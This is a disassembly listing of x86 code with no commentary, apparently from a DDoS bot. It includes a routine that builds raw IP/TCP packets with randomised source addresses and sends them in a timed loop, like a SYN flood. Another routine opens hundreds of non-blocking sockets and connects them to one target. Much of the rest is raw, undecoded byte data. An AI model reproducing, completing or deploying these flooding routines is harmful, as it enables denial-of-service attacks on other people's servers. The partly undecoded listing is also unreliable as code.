		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2780000h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB03C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAEFC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 4C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF8415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A1B4o
		dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C1Ch, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BFCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 2BCFEBE8h, 106A9002h, 57E4458Dh, 856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DD1805C6h
		dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch
		dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch
		dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h
		dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h
		dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh,	0FF004CB0h
		dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435BB468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Bh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B6868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h
		dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h
		dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 0A468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAEBCh, 0C0753B46h,	75FFDA7Ch, 5C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C7868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 13E89000h
		dd 500226D9h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0F868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0CF95E890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0CC68FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5D2068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022BC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 267053Bh
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D4Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAFA4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAFA4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAFA4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780339h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780000h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB03C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAEFC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
dword_413B78	dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 9468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022BC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch
		dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 8415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h
		dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB03C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB024h
		dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch,	0FFFBC085h
		dd 5EAC68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h
		dd 0C0858D50h, 68FFFFFBh, 435E74h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E5468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAFA4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
